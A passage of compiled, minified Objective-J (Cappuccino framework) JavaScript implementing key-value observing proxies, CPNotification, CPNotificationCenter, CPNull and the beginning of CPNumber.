objj_msgSend(objj_msgSend(_1d,"mutableArrayValueForKeyPath:",_20),"replaceObjectAtIndexes:withObjects:",objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeIndexesKey),objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeNewKey));
}
}
}
}
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("automaticallyNotifiesObserversForKey:"),function(_23,_24,_25){
with(_23){
return YES;
}
}),new objj_method(sel_getUid("keyPathsForValuesAffectingValueForKey:"),function(_26,_27,_28){
with(_26){
var _29=_28.charAt(0).toUpperCase()+_28.substring(1);
selector="keyPathsForValuesAffecting"+_29;
if(objj_msgSend(objj_msgSend(_26,"class"),"respondsToSelector:",selector)){
return objj_msgSend(objj_msgSend(_26,"class"),selector);
}
return objj_msgSend(CPSet,"set");
}
})]);
var _1=objj_getClass("CPDictionary");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPDictionary\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("inverseChangeDictionary"),function(_2a,_2b){
with(_2a){
var _2c=objj_msgSend(_2a,"mutableCopy"),_2d=objj_msgSend(_2a,"objectForKey:",CPKeyValueChangeKindKey);
if(_2d===CPKeyValueChangeSetting||_2d===CPKeyValueChangeReplacement){
objj_msgSend(_2c,"setObject:forKey:",objj_msgSend(_2a,"objectForKey:",CPKeyValueChangeOldKey),CPKeyValueChangeNewKey);
objj_msgSend(_2c,"setObject:forKey:",objj_msgSend(_2a,"objectForKey:",CPKeyValueChangeNewKey),CPKeyValueChangeOldKey);
}else{
if(_2d===CPKeyValueChangeInsertion){
objj_msgSend(_2c,"setObject:forKey:",CPKeyValueChangeRemoval,CPKeyValueChangeKindKey);
objj_msgSend(_2c,"setObject:forKey:",objj_msgSend(_2a,"objectForKey:",CPKeyValueChangeNewKey),CPKeyValueChangeOldKey);
objj_msgSend(_2c,"removeObjectForKey:",CPKeyValueChangeNewKey);
}else{
if(_2d===CPKeyValueChangeRemoval){
objj_msgSend(_2c,"setObject:forKey:",CPKeyValueChangeInsertion,CPKeyValueChangeKindKey);
objj_msgSend(_2c,"setObject:forKey:",objj_msgSend(_2a,"objectForKey:",CPKeyValueChangeOldKey),CPKeyValueChangeNewKey);
objj_msgSend(_2c,"removeObjectForKey:",CPKeyValueChangeOldKey);
}
}
}
return _2c;
}
})]);
CPKeyValueObservingOptionNew=1<<0;
CPKeyValueObservingOptionOld=1<<1;
CPKeyValueObservingOptionInitial=1<<2;
CPKeyValueObservingOptionPrior=1<<3;
CPKeyValueChangeKindKey="CPKeyValueChangeKindKey";
CPKeyValueChangeNewKey="CPKeyValueChangeNewKey";
CPKeyValueChangeOldKey="CPKeyValueChangeOldKey";
CPKeyValueChangeIndexesKey="CPKeyValueChangeIndexesKey";
CPKeyValueChangeNotificationIsPriorKey="CPKeyValueChangeNotificationIsPriorKey";
CPKeyValueChangeSetting=1;
CPKeyValueChangeInsertion=2;
CPKeyValueChangeRemoval=3;
CPKeyValueChangeReplacement=4;
var _2e=CPKeyValueObservingOptionNew|CPKeyValueObservingOptionOld,_2f="$KVODEPENDENT",_1c="$KVOPROXY";
var _1=objj_allocateClassPair(CPObject,"_CPKVOProxy"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_targetObject"),new objj_ivar("_nativeClass"),new objj_ivar("_changesForKey"),new objj_ivar("_observersForKey"),new objj_ivar("_observersForKeyLength"),new objj_ivar("_replacedKeys")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithTarget:"),function(_30,_31,_32){
with(_30){
_30=objj_msgSendSuper({receiver:_30,super_class:objj_getClass("_CPKVOProxy").super_class},"init");
_targetObject=_32;
_nativeClass=objj_msgSend(_32,"class");
_observersForKey={};
_changesForKey={};
_observersForKeyLength=0;
return _30;
}
}),new objj_method(sel_getUid("_replaceClass"),function(_33,_34){
with(_33){
var _35=_nativeClass,_36="$KVO_"+class_getName(_nativeClass),_37=objj_lookUpClass(_36);
if(_37){
_targetObject.isa=_37;
_replacedKeys=_37._replacedKeys;
return;
}
var _38=objj_allocateClassPair(_35,_36);
objj_registerClassPair(_38);
_replacedKeys=objj_msgSend(CPSet,"set");
_38._replacedKeys=_replacedKeys;
var _39=_CPKVOModelSubclass.method_list,_3a=_39.length,i=0;
for(;i<_3a;i++){
var _3b=_39[i];
class_addMethod(_38,method_getName(_3b),method_getImplementation(_3b),"");
}
if(objj_msgSend(_targetObject,"isKindOfClass:",objj_msgSend(CPDictionary,"class"))){
var _39=_CPKVOModelDictionarySubclass.method_list,_3a=_39.length,i=0;
for(;i<_3a;i++){
var _3b=_39[i];
class_addMethod(_38,method_getName(_3b),method_getImplementation(_3b),"");
}
}
_targetObject.isa=_38;
}
}),new objj_method(sel_getUid("_replaceSetterForKey:"),function(_3c,_3d,_3e){
with(_3c){
if(objj_msgSend(_replacedKeys,"containsObject:",_3e)||!objj_msgSend(_nativeClass,"automaticallyNotifiesObserversForKey:",_3e)){
return;
}
var _3f=_nativeClass,_40=_3e.charAt(0).toUpperCase()+_3e.substring(1),_41=false,_42=["set"+_40+":",_43,"_set"+_40+":",_43,"insertObject:in"+_40+"AtIndex:",_44,"replaceObjectIn"+_40+"AtIndex:withObject:",_45,"removeObjectFrom"+_40+"AtIndex:",_46];
var i=0,_47=_42.length;
for(;i<_47;i+=2){
var _48=sel_getName(_42[i]),_49=_42[i+1];
if(objj_msgSend(_nativeClass,"instancesRespondToSelector:",_48)){
var _4a=class_getInstanceMethod(_nativeClass,_48);
class_addMethod(_targetObject.isa,_48,_49(_3e,_4a),"");
objj_msgSend(_replacedKeys,"addObject:",_3e);
}
}
var _4b=objj_msgSend(objj_msgSend(_nativeClass,"keyPathsForValuesAffectingValueForKey:",_3e),"allObjects"),_4c=_4b?_4b.length:0;
if(!_4c){
return;
}
var _4d=_nativeClass[_2f];
if(!_4d){
_4d={};
_nativeClass[_2f]=_4d;
}
while(_4c--){
var _4e=_4b[_4c],_4f=_4d[_4e];
if(!_4f){
_4f=objj_msgSend(CPSet,"new");
_4d[_4e]=_4f;
}
objj_msgSend(_4f,"addObject:",_3e);
objj_msgSend(_3c,"_replaceSetterForKey:",_4e);
}
}
}),new objj_method(sel_getUid("_addObserver:forKeyPath:options:context:"),function(_50,_51,_52,_53,_54,_55){
with(_50){
if(!_52){
return;
}
var _56=nil;
if(_53.indexOf(".")!=CPNotFound){
_56=objj_msgSend(objj_msgSend(_CPKVOForwardingObserver,"alloc"),"initWithKeyPath:object:observer:options:context:",_53,_targetObject,_52,_54,_55);
}else{
objj_msgSend(_50,"_replaceSetterForKey:",_53);
}
var _57=_observersForKey[_53];
if(!_57){
_57=objj_msgSend(CPDictionary,"dictionary");
_observersForKey[_53]=_57;
_observersForKeyLength++;
}
objj_msgSend(_57,"setObject:forKey:",_58(_52,_54,_55,_56),objj_msgSend(_52,"UID"));
if(_54&CPKeyValueObservingOptionInitial){
var _59=objj_msgSend(_targetObject,"valueForKeyPath:",_53);
if(_59===nil||_59===undefined){
_59=objj_msgSend(CPNull,"null");
}
var _5a=objj_msgSend(CPDictionary,"dictionaryWithObject:forKey:",_59,CPKeyValueChangeNewKey);
objj_msgSend(_52,"observeValueForKeyPath:ofObject:change:context:",_53,_50,_5a,_55);
}
}
}),new objj_method(sel_getUid("_removeObserver:forKeyPath:"),function(_5b,_5c,_5d,_5e){
with(_5b){
var _5f=_observersForKey[_5e];
if(_5e.indexOf(".")!=CPNotFound){
var _60=objj_msgSend(_5f,"objectForKey:",objj_msgSend(_5d,"UID")).forwarder;
objj_msgSend(_60,"finalize");
}
objj_msgSend(_5f,"removeObjectForKey:",objj_msgSend(_5d,"UID"));
if(!objj_msgSend(_5f,"count")){
_observersForKeyLength--;
delete _observersForKey[_5e];
}
if(!_observersForKeyLength){
_targetObject.isa=_nativeClass;
delete _targetObject[_1c];
}
}
}),new objj_method(sel_getUid("_sendNotificationsForKey:changeOptions:isBefore:"),function(_61,_62,_63,_64,_65){
with(_61){
var _66=_changesForKey[_63];
if(_65){
_66=_64;
var _67=objj_msgSend(_66,"objectForKey:",CPKeyValueChangeIndexesKey);
if(_67){
var _68=objj_msgSend(_66,"objectForKey:",CPKeyValueChangeKindKey);
if(_68===CPKeyValueChangeReplacement||_68===CPKeyValueChangeRemoval){
var _69=objj_msgSend(objj_msgSend(_targetObject,"mutableArrayValueForKeyPath:",_63),"objectsAtIndexes:",_67);
objj_msgSend(_66,"setValue:forKey:",_69,CPKeyValueChangeOldKey);
}
}else{
var _6a=objj_msgSend(_targetObject,"valueForKey:",_63);
if(_6a===nil||_6a===undefined){
_6a=objj_msgSend(CPNull,"null");
}
objj_msgSend(_66,"setObject:forKey:",_6a,CPKeyValueChangeOldKey);
}
objj_msgSend(_66,"setObject:forKey:",1,CPKeyValueChangeNotificationIsPriorKey);
_changesForKey[_63]=_66;
}else{
if(!_66){
_66=objj_msgSend(CPDictionary,"new");
}
objj_msgSend(_66,"removeObjectForKey:",CPKeyValueChangeNotificationIsPriorKey);
var _67=objj_msgSend(_66,"objectForKey:",CPKeyValueChangeIndexesKey);
if(_67){
var _68=objj_msgSend(_66,"objectForKey:",CPKeyValueChangeKindKey);
if(_68==CPKeyValueChangeReplacement||_68==CPKeyValueChangeInsertion){
var _69=objj_msgSend(objj_msgSend(_targetObject,"mutableArrayValueForKeyPath:",_63),"objectsAtIndexes:",_67);
objj_msgSend(_66,"setValue:forKey:",_69,CPKeyValueChangeNewKey);
}
}else{
var _6b=objj_msgSend(_targetObject,"valueForKey:",_63);
if(_6b===nil||_6b===undefined){
_6b=objj_msgSend(CPNull,"null");
}
objj_msgSend(_66,"setObject:forKey:",_6b,CPKeyValueChangeNewKey);
}
}
var _6c=objj_msgSend(_observersForKey[_63],"allValues"),_6d=_6c?_6c.length:0;
while(_6d--){
var _6e=_6c[_6d];
if(_65&&(_6e.options&CPKeyValueObservingOptionPrior)){
objj_msgSend(_6e.observer,"observeValueForKeyPath:ofObject:change:context:",_63,_targetObject,_66,_6e.context);
}else{
if(!_65){
objj_msgSend(_6e.observer,"observeValueForKeyPath:ofObject:change:context:",_63,_targetObject,_66,_6e.context);
}
}
}
var _6f=_nativeClass[_2f];
if(!_6f){
return;
}
var _70=objj_msgSend(_6f[_63],"allObjects");
if(!_70){
return;
}
var _71=0,_6d=objj_msgSend(_70,"count");
for(;_71<_6d;++_71){
var _72=_70[_71];
objj_msgSend(_61,"_sendNotificationsForKey:changeOptions:isBefore:",_72,_65?objj_msgSend(_64,"copy"):_changesForKey[_72],_65);
}
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("proxyForObject:"),function(_73,_74,_75){
with(_73){
var _76=_75[_1c];
if(_76){
return _76;
}
_76=objj_msgSend(objj_msgSend(_73,"alloc"),"initWithTarget:",_75);
objj_msgSend(_76,"_replaceClass");
_75[_1c]=_76;
return _76;
}
})]);
var _1=objj_allocateClassPair(Nil,"_CPKVOModelSubclass"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("willChangeValueForKey:"),function(_77,_78,_79){
with(_77){
var _7a=objj_msgSend(_77,"class"),_7b=sel_getUid("willChangeValueForKey:"),_7c=class_getMethodImplementation(_7a,_7b);
_7c(_77,_7b,_79);
if(!_79){
return;
}
var _7d=objj_msgSend(CPDictionary,"dictionaryWithObject:forKey:",CPKeyValueChangeSetting,CPKeyValueChangeKindKey);
objj_msgSend(objj_msgSend(_CPKVOProxy,"proxyForObject:",_77),"_sendNotificationsForKey:changeOptions:isBefore:",_79,_7d,YES);
}
}),new objj_method(sel_getUid("didChangeValueForKey:"),function(_7e,_7f,_80){
with(_7e){
var _81=objj_msgSend(_7e,"class"),_82=sel_getUid("didChangeValueForKey:"),_83=class_getMethodImplementation(_81,_82);
_83(_7e,_82,_80);
if(!_80){
return;
}
objj_msgSend(objj_msgSend(_CPKVOProxy,"proxyForObject:",_7e),"_sendNotificationsForKey:changeOptions:isBefore:",_80,nil,NO);
}
}),new objj_method(sel_getUid("willChange:valuesAtIndexes:forKey:"),function(_84,_85,_86,_87,_88){
with(_84){
var _89=objj_msgSend(_84,"class"),_8a=sel_getUid("willChange:valuesAtIndexes:forKey:"),_8b=class_getMethodImplementation(_89,_8a);
_8b(_84,_8a,_86,_87,_88);
if(!_88){
return;
}
var _8c=objj_msgSend(CPDictionary,"dictionaryWithObjects:forKeys:",[_86,_87],[CPKeyValueChangeKindKey,CPKeyValueChangeIndexesKey]);
objj_msgSend(objj_msgSend(_CPKVOProxy,"proxyForObject:",_84),"_sendNotificationsForKey:changeOptions:isBefore:",_88,_8c,YES);
}
}),new objj_method(sel_getUid("didChange:valuesAtIndexes:forKey:"),function(_8d,_8e,_8f,_90,_91){
with(_8d){
var _92=objj_msgSend(_8d,"class"),_93=sel_getUid("didChange:valuesAtIndexes:forKey:"),_94=class_getMethodImplementation(_92,_93);
_94(_8d,_93,_8f,_90,_91);
if(!_91){
return;
}
objj_msgSend(objj_msgSend(_CPKVOProxy,"proxyForObject:",_8d),"_sendNotificationsForKey:changeOptions:isBefore:",_91,nil,NO);
}
}),new objj_method(sel_getUid("class"),function(_95,_96){
with(_95){
return _95[_1c]._nativeClass;
}
}),new objj_method(sel_getUid("superclass"),function(_97,_98){
with(_97){
return objj_msgSend(objj_msgSend(_97,"class"),"superclass");
}
}),new objj_method(sel_getUid("isKindOfClass:"),function(_99,_9a,_9b){
with(_99){
return objj_msgSend(objj_msgSend(_99,"class"),"isSubclassOfClass:",_9b);
}
}),new objj_method(sel_getUid("isMemberOfClass:"),function(_9c,_9d,_9e){
with(_9c){
return objj_msgSend(_9c,"class")==_9e;
}
}),new objj_method(sel_getUid("className"),function(_9f,_a0){
with(_9f){
return objj_msgSend(_9f,"class").name;
}
})]);
var _1=objj_allocateClassPair(Nil,"_CPKVOModelDictionarySubclass"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("removeAllObjects"),function(_a1,_a2){
with(_a1){
var _a3=objj_msgSend(_a1,"allKeys"),_a4=objj_msgSend(_a3,"count"),i=0;
for(;i<_a4;i++){
objj_msgSend(_a1,"willChangeValueForKey:",_a3[i]);
}
var _a5=objj_msgSend(_a1,"class"),_a6=sel_getUid("removeAllObjects"),_a7=class_getMethodImplementation(_a5,_a6);
_a7(_a1,_a6);
for(i=0;i<_a4;i++){
objj_msgSend(_a1,"didChangeValueForKey:",_a3[i]);
}
}
}),new objj_method(sel_getUid("removeObjectForKey:"),function(_a8,_a9,_aa){
with(_a8){
objj_msgSend(_a8,"willChangeValueForKey:",_aa);
var _ab=objj_msgSend(_a8,"class"),_ac=sel_getUid("removeObjectForKey:"),_ad=class_getMethodImplementation(_ab,_ac);
_ad(_a8,_ac,_aa);
objj_msgSend(_a8,"didChangeValueForKey:",_aa);
}
}),new objj_method(sel_getUid("setObject:forKey:"),function(_ae,_af,_b0,_b1){
with(_ae){
objj_msgSend(_ae,"willChangeValueForKey:",_b1);
var _b2=objj_msgSend(_ae,"class"),_b3=sel_getUid("setObject:forKey:"),_b4=class_getMethodImplementation(_b2,_b3);
_b4(_ae,_b3,_b0,_b1);
objj_msgSend(_ae,"didChangeValueForKey:",_b1);
}
})]);
var _1=objj_allocateClassPair(CPObject,"_CPKVOForwardingObserver"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_object"),new objj_ivar("_observer"),new objj_ivar("_context"),new objj_ivar("_firstPart"),new objj_ivar("_secondPart"),new objj_ivar("_value")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithKeyPath:object:observer:options:context:"),function(_b5,_b6,_b7,_b8,_b9,_ba,_bb){
with(_b5){
_b5=objj_msgSendSuper({receiver:_b5,super_class:objj_getClass("_CPKVOForwardingObserver").super_class},"init");
_context=_bb;
_observer=_b9;
_object=_b8;
var _bc=_b7.indexOf(".");
if(_bc==CPNotFound){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Created _CPKVOForwardingObserver without compound key path: "+_b7);
}
_firstPart=_b7.substring(0,_bc);
_secondPart=_b7.substring(_bc+1);
objj_msgSend(_object,"addObserver:forKeyPath:options:context:",_b5,_firstPart,_2e,nil);
_value=objj_msgSend(_object,"valueForKey:",_firstPart);
if(_value){
objj_msgSend(_value,"addObserver:forKeyPath:options:context:",_b5,_secondPart,_2e,nil);
}
return _b5;
}
}),new objj_method(sel_getUid("observeValueForKeyPath:ofObject:change:context:"),function(_bd,_be,_bf,_c0,_c1,_c2){
with(_bd){
if(_bf===_firstPart){
objj_msgSend(_observer,"observeValueForKeyPath:ofObject:change:context:",_firstPart,_object,_c1,_context);
if(_value){
objj_msgSend(_value,"removeObserver:forKeyPath:",_bd,_secondPart);
}
_value=objj_msgSend(_object,"valueForKey:",_firstPart);
if(_value){
objj_msgSend(_value,"addObserver:forKeyPath:options:context:",_bd,_secondPart,_2e,nil);
}
}else{
objj_msgSend(_observer,"observeValueForKeyPath:ofObject:change:context:",_firstPart+"."+_bf,_object,_c1,_context);
}
}
}),new objj_method(sel_getUid("finalize"),function(_c3,_c4){
with(_c3){
if(_value){
objj_msgSend(_value,"removeObserver:forKeyPath:",_c3,_secondPart);
}
objj_msgSend(_object,"removeObserver:forKeyPath:",_c3,_firstPart);
_object=nil;
_observer=nil;
_context=nil;
_value=nil;
}
})]);
var _58=_58=function(_c5,_c6,_c7,_c8){
return {observer:_c5,options:_c6,context:_c7,forwarder:_c8};
};
var _43=_43=function(_c9,_ca){
return function(_cb,_cc,_cd){
objj_msgSend(_cb,"willChangeValueForKey:",_c9);
_ca.method_imp(_cb,_cc,_cd);
objj_msgSend(_cb,"didChangeValueForKey:",_c9);
};
};
var _44=_44=function(_ce,_cf){
return function(_d0,_d1,_d2,_d3){
objj_msgSend(_d0,"willChange:valuesAtIndexes:forKey:",CPKeyValueChangeInsertion,objj_msgSend(CPIndexSet,"indexSetWithIndex:",_d3),_ce);
_cf.method_imp(_d0,_d1,_d2,_d3);
objj_msgSend(_d0,"didChange:valuesAtIndexes:forKey:",CPKeyValueChangeInsertion,objj_msgSend(CPIndexSet,"indexSetWithIndex:",_d3),_ce);
};
};
var _45=_45=function(_d4,_d5){
return function(_d6,_d7,_d8,_d9){
objj_msgSend(_d6,"willChange:valuesAtIndexes:forKey:",CPKeyValueChangeReplacement,objj_msgSend(CPIndexSet,"indexSetWithIndex:",_d8),_d4);
_d5.method_imp(_d6,_d7,_d8,_d9);
objj_msgSend(_d6,"didChange:valuesAtIndexes:forKey:",CPKeyValueChangeReplacement,objj_msgSend(CPIndexSet,"indexSetWithIndex:",_d8),_d4);
};
};
var _46=_46=function(_da,_db){
return function(_dc,_dd,_de){
objj_msgSend(_dc,"willChange:valuesAtIndexes:forKey:",CPKeyValueChangeRemoval,objj_msgSend(CPIndexSet,"indexSetWithIndex:",_de),_da);
_db.method_imp(_dc,_dd,_de);
objj_msgSend(_dc,"didChange:valuesAtIndexes:forKey:",CPKeyValueChangeRemoval,objj_msgSend(CPIndexSet,"indexSetWithIndex:",_de),_da);
};
};
objj_executeFile("CPArray+KVO.j",YES);
p;7;CPLog.jt;17;@STATIC;1.0;t;1;
p;16;CPNotification.jt;1472;@STATIC;1.0;i;13;CPException.ji;10;CPObject.jt;1420;
objj_executeFile("CPException.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPNotification"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_name"),new objj_ivar("_object"),new objj_ivar("_userInfo")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_3,_4){
with(_3){
objj_msgSend(CPException,"raise:reason:",CPUnsupportedMethodException,"CPNotification's init method should not be used");
}
}),new objj_method(sel_getUid("initWithName:object:userInfo:"),function(_5,_6,_7,_8,_9){
with(_5){
_5=objj_msgSendSuper({receiver:_5,super_class:objj_getClass("CPNotification").super_class},"init");
if(_5){
_name=_7;
_object=_8;
_userInfo=_9;
}
return _5;
}
}),new objj_method(sel_getUid("name"),function(_a,_b){
with(_a){
return _name;
}
}),new objj_method(sel_getUid("object"),function(_c,_d){
with(_c){
return _object;
}
}),new objj_method(sel_getUid("userInfo"),function(_e,_f){
with(_e){
return _userInfo;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("notificationWithName:object:userInfo:"),function(_10,_11,_12,_13,_14){
with(_10){
return objj_msgSend(objj_msgSend(_10,"alloc"),"initWithName:object:userInfo:",_12,_13,_14);
}
}),new objj_method(sel_getUid("notificationWithName:object:"),function(_15,_16,_17,_18){
with(_15){
return objj_msgSend(objj_msgSend(_15,"alloc"),"initWithName:object:userInfo:",_17,_18,nil);
}
})]);
p;22;CPNotificationCenter.jt;6517;@STATIC;1.0;i;9;CPArray.ji;14;CPDictionary.ji;13;CPException.ji;16;CPNotification.ji;8;CPNull.jt;6415;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPException.j",YES);
objj_executeFile("CPNotification.j",YES);
objj_executeFile("CPNull.j",YES);
var _1=nil;
var _2=objj_allocateClassPair(CPObject,"CPNotificationCenter"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_namedRegistries"),new objj_ivar("_unnamedRegistry")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("init"),function(_4,_5){
with(_4){
_4=objj_msgSendSuper({receiver:_4,super_class:objj_getClass("CPNotificationCenter").super_class},"init");
if(_4){
_namedRegistries=objj_msgSend(CPDictionary,"dictionary");
_unnamedRegistry=objj_msgSend(objj_msgSend(_CPNotificationRegistry,"alloc"),"init");
}
return _4;
}
}),new objj_method(sel_getUid("addObserver:selector:name:object:"),function(_6,_7,_8,_9,_a,_b){
with(_6){
var _c,_d=objj_msgSend(objj_msgSend(_CPNotificationObserver,"alloc"),"initWithObserver:selector:",_8,_9);
if(_a==nil){
_c=_unnamedRegistry;
}else{
if(!(_c=objj_msgSend(_namedRegistries,"objectForKey:",_a))){
_c=objj_msgSend(objj_msgSend(_CPNotificationRegistry,"alloc"),"init");
objj_msgSend(_namedRegistries,"setObject:forKey:",_c,_a);
}
}
objj_msgSend(_c,"addObserver:object:",_d,_b);
}
}),new objj_method(sel_getUid("removeObserver:"),function(_e,_f,_10){
with(_e){
var _11=nil,_12=objj_msgSend(_namedRegistries,"keyEnumerator");
while(_11=objj_msgSend(_12,"nextObject")){
objj_msgSend(objj_msgSend(_namedRegistries,"objectForKey:",_11),"removeObserver:object:",_10,nil);
}
objj_msgSend(_unnamedRegistry,"removeObserver:object:",_10,nil);
}
}),new objj_method(sel_getUid("removeObserver:name:object:"),function(_13,_14,_15,_16,_17){
with(_13){
if(_16==nil){
var _18=nil,_19=objj_msgSend(_namedRegistries,"keyEnumerator");
while(_18=objj_msgSend(_19,"nextObject")){
objj_msgSend(objj_msgSend(_namedRegistries,"objectForKey:",_18),"removeObserver:object:",_15,_17);
}
objj_msgSend(_unnamedRegistry,"removeObserver:object:",_15,_17);
}else{
objj_msgSend(objj_msgSend(_namedRegistries,"objectForKey:",_16),"removeObserver:object:",_15,_17);
}
}
}),new objj_method(sel_getUid("postNotification:"),function(_1a,_1b,_1c){
with(_1a){
if(!_1c){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"postNotification: does not except 'nil' notifications");
}
_1d(_1a,_1c);
}
}),new objj_method(sel_getUid("postNotificationName:object:userInfo:"),function(_1e,_1f,_20,_21,_22){
with(_1e){
_1d(_1e,objj_msgSend(objj_msgSend(CPNotification,"alloc"),"initWithName:object:userInfo:",_20,_21,_22));
}
}),new objj_method(sel_getUid("postNotificationName:object:"),function(_23,_24,_25,_26){
with(_23){
_1d(_23,objj_msgSend(objj_msgSend(CPNotification,"alloc"),"initWithName:object:userInfo:",_25,_26,nil));
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("defaultCenter"),function(_27,_28){
with(_27){
if(!_1){
_1=objj_msgSend(objj_msgSend(CPNotificationCenter,"alloc"),"init");
}
return _1;
}
})]);
var _1d=function(_29,_2a){
objj_msgSend(_29._unnamedRegistry,"postNotification:",_2a);
objj_msgSend(objj_msgSend(_29._namedRegistries,"objectForKey:",objj_msgSend(_2a,"name")),"postNotification:",_2a);
};
var _2=objj_allocateClassPair(CPObject,"_CPNotificationRegistry"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_objectObservers"),new objj_ivar("_observerRemovalCount")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("init"),function(_2b,_2c){
with(_2b){
_2b=objj_msgSendSuper({receiver:_2b,super_class:objj_getClass("_CPNotificationRegistry").super_class},"init");
if(_2b){
_observerRemovalCount=0;
_objectObservers=objj_msgSend(CPDictionary,"dictionary");
}
return _2b;
}
}),new objj_method(sel_getUid("addObserver:object:"),function(_2d,_2e,_2f,_30){
with(_2d){
if(!_30){
_30=objj_msgSend(CPNull,"null");
}
var _31=objj_msgSend(_objectObservers,"objectForKey:",objj_msgSend(_30,"UID"));
if(!_31){
_31=[];
objj_msgSend(_objectObservers,"setObject:forKey:",_31,objj_msgSend(_30,"UID"));
}
_31.push(_2f);
}
}),new objj_method(sel_getUid("removeObserver:object:"),function(_32,_33,_34,_35){
with(_32){
var _36=[];
if(_35==nil){
var key=nil,_37=objj_msgSend(_objectObservers,"keyEnumerator");
while(key=objj_msgSend(_37,"nextObject")){
var _38=objj_msgSend(_objectObservers,"objectForKey:",key),_39=_38?_38.length:0;
while(_39--){
if(objj_msgSend(_38[_39],"observer")==_34){
++_observerRemovalCount;
_38.splice(_39,1);
}
}
if(!_38||_38.length==0){
_36.push(key);
}
}
}else{
var key=objj_msgSend(_35,"UID"),_38=objj_msgSend(_objectObservers,"objectForKey:",key);
_39=_38?_38.length:0;
while(_39--){
if(objj_msgSend(_38[_39],"observer")==_34){
++_observerRemovalCount;
_38.splice(_39,1);
}
}
if(!_38||_38.length==0){
_36.push(key);
}
}
var _39=_36.length;
while(_39--){
objj_msgSend(_objectObservers,"removeObjectForKey:",_36[_39]);
}
}
}),new objj_method(sel_getUid("postNotification:"),function(_3a,_3b,_3c){
with(_3a){
var _3d=_observerRemovalCount,_3e=objj_msgSend(_3c,"object"),_3f=nil;
if(_3e!=nil&&(_3f=objj_msgSend(objj_msgSend(_objectObservers,"objectForKey:",objj_msgSend(_3e,"UID")),"copy"))){
var _40=_3f,_41=_3f.length;
while(_41--){
var _42=_3f[_41];
if((_3d===_observerRemovalCount)||objj_msgSend(_40,"indexOfObjectIdenticalTo:",_42)!==CPNotFound){
objj_msgSend(_42,"postNotification:",_3c);
}
}
}
_3f=objj_msgSend(objj_msgSend(_objectObservers,"objectForKey:",objj_msgSend(objj_msgSend(CPNull,"null"),"UID")),"copy");
if(!_3f){
return;
}
var _3d=_observerRemovalCount,_41=_3f.length,_40=_3f;
while(_41--){
var _42=_3f[_41];
if((_3d===_observerRemovalCount)||objj_msgSend(_40,"indexOfObjectIdenticalTo:",_42)!==CPNotFound){
objj_msgSend(_42,"postNotification:",_3c);
}
}
}
}),new objj_method(sel_getUid("count"),function(_43,_44){
with(_43){
return objj_msgSend(_objectObservers,"count");
}
})]);
var _2=objj_allocateClassPair(CPObject,"_CPNotificationObserver"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_observer"),new objj_ivar("_selector")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithObserver:selector:"),function(_45,_46,_47,_48){
with(_45){
if(_45){
_observer=_47;
_selector=_48;
}
return _45;
}
}),new objj_method(sel_getUid("observer"),function(_49,_4a){
with(_49){
return _observer;
}
}),new objj_method(sel_getUid("postNotification:"),function(_4b,_4c,_4d){
with(_4b){
objj_msgSend(_observer,"performSelector:withObject:",_selector,_4d);
}
})]);
p;8;CPNull.jt;731;@STATIC;1.0;i;10;CPObject.jt;698;
objj_executeFile("CPObject.j",YES);
var _1=nil;
var _2=objj_allocateClassPair(CPObject,"CPNull"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("isEqual:"),function(_4,_5,_6){
with(_4){
if(_4===_6){
return YES;
}
return objj_msgSend(_6,"isKindOfClass:",objj_msgSend(CPNull,"class"));
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_7,_8,_9){
with(_7){
return objj_msgSend(CPNull,"null");
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_a,_b,_c){
with(_a){
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("null"),function(_d,_e){
with(_d){
if(!_1){
_1=objj_msgSend(objj_msgSend(CPNull,"alloc"),"init");
}
return _1;
}
})]);
p;10;CPNumber.jt;6048;@STATIC;1.0;i;10;CPObject.ji;15;CPObjJRuntime.jt;5994;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPObjJRuntime.j",YES);
var _1=new Number(),_2=new CFMutableDictionary();
var _3=objj_allocateClassPair(CPObject,"CPNumber"),_4=_3.isa;
objj_registerClassPair(_3);
class_addMethods(_3,[new objj_method(sel_getUid("initWithBool:"),function(_5,_6,_7){
with(_5){
return _7;
}
}),new objj_method(sel_getUid("initWithChar:"),function(_8,_9,_a){
with(_8){
if(_a.charCodeAt){
return _a.charCodeAt(0);
}
return _a;
}
}),new objj_method(sel_getUid("initWithDouble:"),function(_b,_c,_d){
with(_b){
return _d;
}
}),new objj_method(sel_getUid("initWithFloat:"),function(_e,_f,_10){
with(_e){
return _10;
}
}),new objj_method(sel_getUid("initWithInt:"),function(_11,_12,_13){
with(_11){
return _13;
}
}),new objj_method(sel_getUid("initWithLong:"),function(_14,_15,_16){
with(_14){
return _16;
}
